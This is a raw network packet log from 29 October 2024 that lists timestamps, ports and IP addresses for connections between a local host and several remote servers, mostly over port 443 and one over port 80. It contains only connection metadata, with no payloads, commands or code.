Oct 29, 2024 17:59:44.643361092 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.643685102 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.643708944 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.644193888 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.644200087 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.648931980 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.648956060 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.648967028 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.648968935 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.649095058 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.664995909 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.665505886 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.665524960 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.666083097 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.666089058 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.694808006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.700454950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.702912092 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.703326941 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.703375101 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.703412056 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.703910112 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.703917027 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.718184948 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.718210936 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.718271971 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.718286037 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.718353987 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.718437910 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.719571114 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.719583035 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.720293045 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.720324993 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.720388889 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.720834017 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.720921993 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.720963001 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.721061945 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.721076012 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.723078012 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.723104000 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.723110914 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.723164082 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.723179102 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.723207951 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.724150896 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724176884 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724184990 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724251032 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.724268913 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724332094 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.724540949 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724601030 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.724673033 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.726146936 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.726156950 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.726527929 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.726555109 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.727025032 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.728355885 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.728368998 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.729439974 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.729453087 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.730355024 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.730380058 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.730451107 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.731071949 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.731093884 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.732207060 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.732225895 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.744121075 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.744239092 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.745188951 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.745203972 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.756328106 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.756362915 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.756449938 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.756747007 CET	49999	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.756762028 CET	443	49999	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.787333965 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.787395000 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.787456036 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.787694931 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.787715912 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.787729979 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.787734985 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.788203955 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.788271904 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.788561106 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.788718939 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.788733959 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.788758993 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.788767099 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.792227983 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.792248964 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.792327881 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.792669058 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:44.792695045 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.792702913 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.792705059 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:44.792766094 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:44.792809010 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.793101072 CET	50000	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.793101072 CET	50002	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.793117046 CET	443	50000	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.793132067 CET	443	50002	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.793301105 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:44.793323994 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:44.793378115 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:44.793580055 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:44.793626070 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:44.793703079 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:44.793790102 CET	50001	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:44.793802977 CET	443	50001	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:44.793900967 CET	50003	443	192.168.2.6	3.168.2.47
Oct 29, 2024 17:59:44.793916941 CET	443	50003	3.168.2.47	192.168.2.6
Oct 29, 2024 17:59:44.794009924 CET	50004	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:44.794030905 CET	443	50004	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:44.801222086 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.801254034 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.801301003 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.801350117 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.801456928 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.801467896 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.801479101 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.801485062 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.803738117 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.803766966 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.803956985 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.804099083 CET	50005	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.804106951 CET	443	50005	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.833919048 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.833955050 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.833962917 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.833983898 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.833997011 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.834002018 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.834013939 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.834032059 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.834044933 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.834076881 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.834098101 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.834305048 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.834338903 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.834388018 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.834389925 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.834559917 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.834718943 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.834743023 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.834758043 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.834767103 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.841984034 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842015982 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842025042 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842037916 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842046022 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842048883 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842072964 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.842102051 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.842143059 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.842190027 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.862582922 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.862636089 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.862915993 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.863078117 CET	50006	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.863095045 CET	443	50006	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.949493885 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.949521065 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.949551105 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.949590921 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.949621916 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.949640036 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.960897923 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.960926056 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.961004972 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.961025000 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.961236000 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.962481022 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.962553978 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.963340044 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.963421106 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.963428020 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.963454008 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.963670015 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.972398996 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.972445011 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.981365919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981386900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981492043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981527090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.981539965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981550932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.981554985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981600046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.981627941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981642962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981659889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981677055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.981694937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.981722116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.982475996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.982523918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.982538939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.982542992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.982578039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.987055063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.987107992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:44.987108946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.987149954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:44.994234085 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.066337109 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066375971 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066435099 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.066462994 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066488981 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066490889 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.066504002 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.066510916 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066534996 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.066916943 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.066977024 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.067220926 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.067235947 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.067244053 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.071086884 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.144329071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144347906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144373894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144386053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144397020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144402981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.144423008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.144469023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.144503117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144517899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.144547939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.144561052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.145144939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.145214081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.145226002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.145261049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.145272970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.145283937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.145314932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.145925045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.146015882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.146321058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.146372080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.232016087 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.232067108 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.232253075 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.232433081 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.232475996 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.232641935 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.233095884 CET	50007	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.233110905 CET	443	50007	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.233248949 CET	50008	443	192.168.2.6	23.198.7.181
Oct 29, 2024 17:59:45.233263016 CET	443	50008	23.198.7.181	192.168.2.6
Oct 29, 2024 17:59:45.235013962 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235038042 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.235462904 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235483885 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.235501051 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235531092 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235718966 CET	50010	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235727072 CET	443	50010	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.235846996 CET	50009	443	192.168.2.6	204.79.197.219
Oct 29, 2024 17:59:45.235856056 CET	443	50009	204.79.197.219	192.168.2.6
Oct 29, 2024 17:59:45.261488914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261523962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261575937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261578083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.261603117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.261606932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261635065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261651039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.261662960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261687040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.261693954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.261718035 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.261754990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.262402058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.262422085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.262430906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.262463093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.262547016 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.262649059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.262716055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.263101101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.263412952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.307207108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.307221889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.307235003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.307245970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.307274103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.307317019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.321696043 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.323299885 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.323324919 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.323832989 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.325468063 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.325546980 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.335429907 CET	49996	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.348890066 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.352767944 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.352782965 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.353166103 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.353998899 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.354068995 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.354403019 CET	49997	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.376369953 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.380341053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380475044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380490065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380542040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.380636930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380652905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380676031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380691051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380706072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380721092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.380732059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.380764961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.380912066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380939960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380956888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:45.380956888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.380996943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:45.383028030 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.383040905 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.383333921 CET	443	49996	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.384604931 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.384691954 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.385334015 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.385426044 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.385601997 CET	49998	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:45.385612965 CET	443	49998	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.395183086 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:45.395332098 CET	443	49997	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:45.395823002 CET	49995	443	192.168.2.6	13.107.246.45
